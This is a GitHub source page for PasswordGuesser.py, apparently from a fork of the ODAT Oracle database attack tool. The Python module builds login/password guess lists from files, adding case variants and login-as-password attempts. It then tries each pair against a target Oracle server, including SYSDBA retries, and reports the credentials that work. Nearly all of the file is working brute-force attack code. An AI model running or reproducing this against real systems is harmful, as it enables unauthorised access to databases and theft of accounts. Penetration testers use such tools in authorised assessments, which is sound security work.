forked from quentinhardy/odat
-
Notifications
You must be signed in to change notification settings - Fork 0
/
PasswordGuesser.py
214 lines (203 loc) · 8.73 KB
/
PasswordGuesser.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
#!/usr/bin/python
# -*- coding: utf-8 -*-
from OracleDatabase import OracleDatabase
from time import sleep
import logging, os.path
from Constants import *
from Utils import sidHasBeenGiven, stringToLinePadded, getCredentialsFormated
from random import shuffle
class PasswordGuesser (OracleDatabase):
'''
Password guesser
'''
def __init__(self, args, accountsFile, loginFile, passwordFile, loginAsPwd, bothUpperLower=False, randomOrder=False, timeSleep=0):
'''
Constructor
'''
OracleDatabase.__init__(self,args)
self.accountsFile = accountsFile
self.loginFile = loginFile
self.passwordFile = passwordFile
self.loginAsPwd = loginAsPwd
self.separator = args['separator'] # Separator for credentials
self.bothUpperLower = bothUpperLower
self.randomOrder = randomOrder
if self.accountsFile == '' : self.accounts = []
else : self.accounts = self.__getAccounts__()
self.valideAccounts = {}
self.args['SYSDBA'] = False
self.args['SYSOPER'] = False
self.timeSleep = timeSleep
def getAccountsFromFile (self):
'''
return list which contains accounts
'''
return self.accounts
def __getAccounts__(self):
'''
Load credentials stored in file(s) according to program arguments.
Impossible to have duplicate credentials.
return a list containing each account
e.g. [['login1','pwd1'], etc]
'''
accountsDict = {} #For saving temporarily credentials in a dict (of username)
finalUniqAccounts = [] #Contain each uniq account e.g. [['login1','pwd1'], etc]
logins = [] #For saving all logins when a login file and a pwd file are given
passwords = [] #For saving all pwds when a login file and a pwd file are given
if self.accountsFile != None:
logging.info('Loading accounts stored in the {0} file'.format(self.accountsFile))
logging.info("Separator between login and password fixed on {0}".format(repr(self.separator)))
f = open(self.accountsFile)
for l in f:
lsplit = l.replace('\n','').replace('\t','').split(self.separator)
if isinstance(lsplit, list) and len(lsplit) == 2 :
if lsplit[0] not in accountsDict:
accountsDict[lsplit[0]] = [lsplit[1]]
else:
accountsDict[lsplit[0]].append(lsplit[1])
else:
logging.warning("The line {0} is not loaded in credentials list: {1}".format(repr(l), repr(lsplit)))
f.close()
else:
logging.info('Loading logins stored in {0} and passwords stored in {1}'.format(self.loginFile, self.passwordFile))
f = open(self.loginFile)
for l in f:
aLogin = l.replace('\n','').replace('\t','')
if aLogin not in logins:
logins.append(aLogin)
f.close()
f = open(self.passwordFile)
for l in f:
passwords.append(l.replace('\n','').replace('\t',''))
f.close()
for aLogin in logins:
for aPwd in passwords:
if aLogin not in accountsDict:
accountsDict[aLogin] = [aPwd]
else:
accountsDict[aLogin].append(aPwd)
if self.loginAsPwd == True:
logging.info('Each login is saved as password (in lower case and upper case) if it is not done yet')
for aLogin in accountsDict:
if aLogin.lower() not in accountsDict[aLogin]:
accountsDict[aLogin].append(aLogin.lower())
if aLogin.upper() not in accountsDict[aLogin]:
accountsDict[aLogin].append(aLogin.upper())
if self.bothUpperLower == True:
logging.info("Each password of each username is saved in lower case and upper case if it is not done yet")
for aLogin in accountsDict:
for aPwd in accountsDict[aLogin]:
if aPwd.lower() not in accountsDict[aLogin]:
accountsDict[aLogin].append(aPwd.lower())
if aPwd.upper() not in accountsDict[aLogin]:
accountsDict[aLogin].append(aPwd.upper())
#Transform dictionary of accounts to list
for aLogin in accountsDict:
for aPwd in accountsDict[aLogin]:
finalUniqAccounts.append([aLogin, aPwd])
if self.randomOrder == True:
shuffle(finalUniqAccounts)
logging.info("{0} paired login/password loaded".format(len(finalUniqAccounts)))
if len(finalUniqAccounts) == 0:
logging.warning("0 login/password loaded. It seems there is an error with your account file")
return finalUniqAccounts
def searchValideAccounts(self):
'''
Search valide accounts
Return True if no error, owtherwise False (i.e. pb with accounts)
'''
userChoice = 1
logging.info("Searching valid accounts on {0}:{1}/{2}".format(self.args['server'], self.args['port'], self.args['sid']))
logging.debug("{0} accounts will be tested".format(len(self.accounts)))
if len(self.accounts) == 0:
return False
pbar,nb = self.getStandardBarStarted(len(self.accounts)), 0
for anAccount in self.accounts :
nb += 1
pbar.update(nb)
self.args['SYSDBA'] = False
self.args['SYSOPER'] = False
logging.debug("Try to connect with {0}".format('/'.join(anAccount)))
self.args['user'], self.args['password'] = anAccount[0], anAccount[1]
self.__generateConnectionString__()
status = self.__saveThisLoginInFileIfNotExist__(self.args['user'])
if self.args['force-retry'] == False and status == False and userChoice ==1:
userChoice = self.__askToTheUserIfNeedToContinue__(self.args['user'])
if userChoice == 0 :
logging.info("The attack is aborded because you choose to stop (s/S)")
break
status = self.connection(threaded=False)
if status == True:
self.valideAccounts[self.args['user']] = self.args['password']
logging.info("Valid credential: {0} ({1}) ".format('/'.join(anAccount),self.args['connectionStr']))
self.args['print'].goodNews(stringToLinePadded("Valid credentials found: {0}. Continue... ".format('/'.join(anAccount))))
elif "connection as SYS should be as SYSDBA or SYSOPER" in str(status):
logging.debug("Try to connect as sysdba")
self.args['SYSDBA'] = True
status = self.connection()
if status == True:
self.valideAccounts[self.args['user']] = self.args['password']
logging.info("Valid credential: {0} ({1}) ".format('/'.join(anAccount),self.args['connectionStr']))
self.args['SYSDBA'] = False
elif self.__needRetryConnection__(status) == True:
status = self.__retryConnect__(nbTry=4)
else:
logging.debug("Error during connection with this account: {0}".format(status))
self.close()
sleep(self.timeSleep)
pbar.finish()
return True
def __saveThisLoginInFileIfNotExist__(self,login):
'''
Save this login in the trace file to known if this login has already been tested
If the login is in the file , return False. Otherwise return True
'''
if ('loginTraceFile' in self.args) == False:
self.args['loginTraceFile'] = "{0}-{1}-{2}{3}".format(self.args['server'],self.args['port'],self.args['sid'],PASSWORD_EXTENSION_FILE)
if os.path.isfile(self.args['loginTraceFile']) == False:
f=open(self.args['loginTraceFile'],'w')
f.close()
logging.info("The {0} file has been created".format(self.args['loginTraceFile']))
f=open(self.args['loginTraceFile'],'r')
for l in f:
aLoginInFile = l.replace('\n','')
if login == aLoginInFile :
f.close()
return False
f.close()
f=open(self.args['loginTraceFile'],'a')
f.write('{0}\n'.format(login))
f.close()
return True
def __askToTheUserIfNeedToContinue__(self,login):
'''
Ask to the user if the module need to continue
return:
- 0 : stop (no)
- 1 : continue and ask again (yes)
- 2 : continue without ask (yes)
'''
def askToContinue ():
rep = input("The login {0} has already been tested at least once. What do you want to do:\n- stop (s/S)\n- continue and ask every time (a/A)\n- continue without to ask (c/C)\n".format(login))
if rep == 's' or rep == 'S' : return 0
elif rep == 'a' or rep == 'A' : return 1
elif rep == 'c' or rep == 'C' : return 2
else : return -1
rep = askToContinue()
while (rep==-1):
rep = askToContinue()
return rep
def runPasswordGuesserModule(args):
'''
Run the PasswordGuesser module
'''
if sidHasBeenGiven(args) == False : return EXIT_MISS_ARGUMENT
args['print'].title("Searching valid accounts on the {0} server, port {1}".format(args['server'],args['port']))
if args['accounts-files'][0] != None and args['accounts-files'][1] != None : args['accounts-file'] = None
passwordGuesser = PasswordGuesser(args, accountsFile=args['accounts-file'], loginFile=args['accounts-files'][0], passwordFile=args['accounts-files'][1], timeSleep=args['timeSleep'], loginAsPwd=args['login-as-pwd'])
passwordGuesser.searchValideAccounts()
validAccountsList = passwordGuesser.valideAccounts
if validAccountsList == {}:
args['print'].badNews("No found a valid account on {0}:{1}/{2}. You should try with the option '--accounts-file accounts/accounts_multiple.txt' or '--accounts-file accounts/logins.txt accounts/pwds.txt'".format(args['server'], args['port'], args['sid']))
else :
args['print'].goodNews("Accounts found on {0}:{1}/{2}: {3}".format(args['server'], args['port'], args['sid'],getCredentialsFormated(validAccountsList)))